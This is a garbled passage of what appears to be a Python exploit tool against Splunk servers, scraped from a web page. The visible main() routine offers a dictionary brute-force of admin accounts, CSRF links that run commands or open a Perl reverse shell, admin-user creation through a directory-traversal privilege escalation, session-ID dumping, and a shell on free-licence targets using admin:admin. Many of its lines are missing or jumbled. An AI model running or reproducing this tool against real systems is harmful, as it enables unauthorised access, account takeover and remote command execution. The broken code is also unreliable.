<code>                      </code><code>dest</code><code>=</code><code>"csrf"</code><code>,</code>

<code>                      </code><code>help</code><code>=</code><code>"Generate CSRF URL only"</code><code>)</code>

<code>    </code><code>parser.add_option(</code><code>"-f"</code><code>,</code>

<code>                      </code><code>dest</code><code>=</code><code>"free_lic_noauth"</code><code>,</code>

<code>                      </code><code>help</code><code>=</code><code>"Target is configured to use a Free licence and does not permit remote auth"</code><code>)</code>

<code>    </code><code>parser.add_option(</code><code>"-w"</code><code>,</code>

<code>                      </code><code>action</code><code>=</code><code>"store"</code><code>,</code><code># optional because action defaults to "store"</code>

<code>                      </code><code>dest</code><code>=</code><code>"splunkweb_port"</code><code>,</code>

<code>                      </code><code>default</code><code>=</code><code>8000</code><code>,</code>

<code>                      </code><code>help</code><code>=</code><code>"The Splunk admin interface port (Default: 8000)"</code><code>)</code>

<code>    </code><code>parser.add_option(</code><code>"-d"</code><code>, </code>

<code>                      </code><code>dest</code><code>=</code><code>"splunkd_port"</code><code>,</code>

<code>                      </code><code>default</code><code>=</code><code>8089</code><code>,</code>

<code>                      </code><code>help</code><code>=</code><code>"The Splunkd Web API port (Default: 8089)"</code><code>)</code>

<code>    </code><code>parser.add_option(</code><code>"-u"</code><code>, </code>

<code>                      </code><code>dest</code><code>=</code><code>"userfile"</code><code>,</code>

<code>                      </code><code>help</code><code>=</code><code>"File containing usernames for use in dictionary attack"</code><code>)</code>

<code>    </code><code>parser.add_option(</code><code>"-p"</code><code>, </code>

<code>                      </code><code>dest</code><code>=</code><code>"passfile"</code><code>,</code>

<code>                      </code><code>help</code><code>=</code><code>"File containing passwords for use in dictionary attack"</code><code>)</code>

<code>    </code><code>parser.add_option(</code><code>"-U"</code><code>, </code>

<code>                      </code><code>dest</code><code>=</code><code>"username"</code><code>,</code>

<code>                      </code><code>help</code><code>=</code><code>"Admin username (if known)"</code><code>)</code>

<code>    </code><code>parser.add_option(</code><code>"-P"</code><code>,</code>

<code>                      </code><code>dest</code><code>=</code><code>"password"</code><code>,</code>

<code>                      </code><code>help</code><code>=</code><code>"Admin pasword (if known)"</code><code>)</code>

<code>    </code><code>parser.add_option(</code><code>"-e"</code><code>,</code>

<code>                     </code><code>action</code><code>=</code><code>"store"</code><code>,</code><code># optional because action defaults to "store"</code>

<code>                     </code><code>dest</code><code>=</code><code>"userpair"</code><code>,</code>

<code>                     </code><code>help</code><code>=</code><code>"Attempt to add admin user via priv up directory traversal magic. Accepts username:password"</code><code>)</code>

<code>    </code><code>(options, args)</code><code>=</code> <code>parser.parse_args()</code>

<code>    </code><code>if</code>

<code>not</code> <code>options.targethost:</code>

<code>        </code><code>parser.error(</code><code>"Target host required"</code><code>)</code>

<code>        </code><code>exit()</code>

<code>    </code><code>elif</code>

<code>options.targethost</code><code>and</code>

<code>options.free_lic_noauth:</code>

<code>        </code><code>x</code><code>=</code> <code>SplunkTarget(options.targethost,splunkweb_port</code><code>=</code><code>options.splunkweb_port,splunkd_port</code><code>=</code><code>options.splunkd_port)</code>

<code>        </code><code>x.username</code><code>=</code><code>"admin"</code>

<code>        </code><code>x.password</code><code>=</code><code>"admin"</code>

<code>        </code><code>x.got_admin</code><code>=</code><code>1</code>

<code>        </code><code>x.splunkd</code><code>=</code> <code>0</code>

<code>        </code><code>x.pop_shell()</code>

<code>options.csrf:</code>

<code>"[*] Enter command to run or enter 'revshell' for a perl reverse shell:"</code>

<code>        </code><code>option</code><code>=</code> <code>raw_input</code><code>(</code><code>"cmd&gt;"</code><code>)</code>

<code>option</code><code>=</code><code>=</code><code>"revshell"</code><code>:</code>

<code>            </code><code>x.perl_revshell(rev_host,rev_port)</code>

<code>x.get_csrf_link_revshell(rev_host,rev_port)</code>

<code>x.get_csrf_link_cmd(option.strip())</code>

<code>options.username</code><code>and</code>

<code>options.password</code><code>and</code>

<code>options.userpair:</code>

<code>"[i] Attemping priv up"</code>

<code>":"</code> <code>in</code> <code>options.userpair:</code>

<code>            </code><code>username,password</code><code>=</code> <code>options.userpair.split(</code><code>":"</code><code>)</code>

<code>"-e requires username password pair in format username:password"</code>

<code>        </code><code>x.username</code><code>=</code>

<code>options.username</code>

<code>        </code><code>x.password</code><code>=</code> <code>options.password</code>

<code>        </code><code>x.splunkd</code><code>=</code> <code>1</code>

<code>        </code><code>import</code>

<code>            </code><code>sessionids</code><code>=</code>

<code>x.dump_session_ids()</code>

<code>session</code><code>in</code> <code>sessionids:</code>

<code>x.add_admin(username,password,session):</code>

<code>"[i] User Added"</code>

<code>                    </code><code>exit()</code>

<code>            </code><code>time.sleep(</code><code>2</code><code>)</code>

<code>options.password:</code>

<code>"[i] Using static username and password"</code>

<code>x.user_is_admin(options.username,options.password):</code>

<code>            </code><code>x.pop_shell()</code>

<code>options.userfile</code><code>and</code>

<code>options.passfile:</code>

<code>"[i] Lauching bruteforce attack"</code>

<code>        </code><code>x.account_bruteforce(options.userfile,options.passfile)</code>

<code>x.got_admin</code><code>=</code><code>=</code><code>1</code><code>:</code>

<code>    </code><code>else</code><code>:</code>

<code>"Please ensure you have supplied either a username and password or a user and password file to bruteforce"</code>

<code>if</code> <code>__name__</code><code>=</code><code>=</code>

<code>'__main__'</code><code>:</code>

<code>    </code><code>main()</code>

繼續閱讀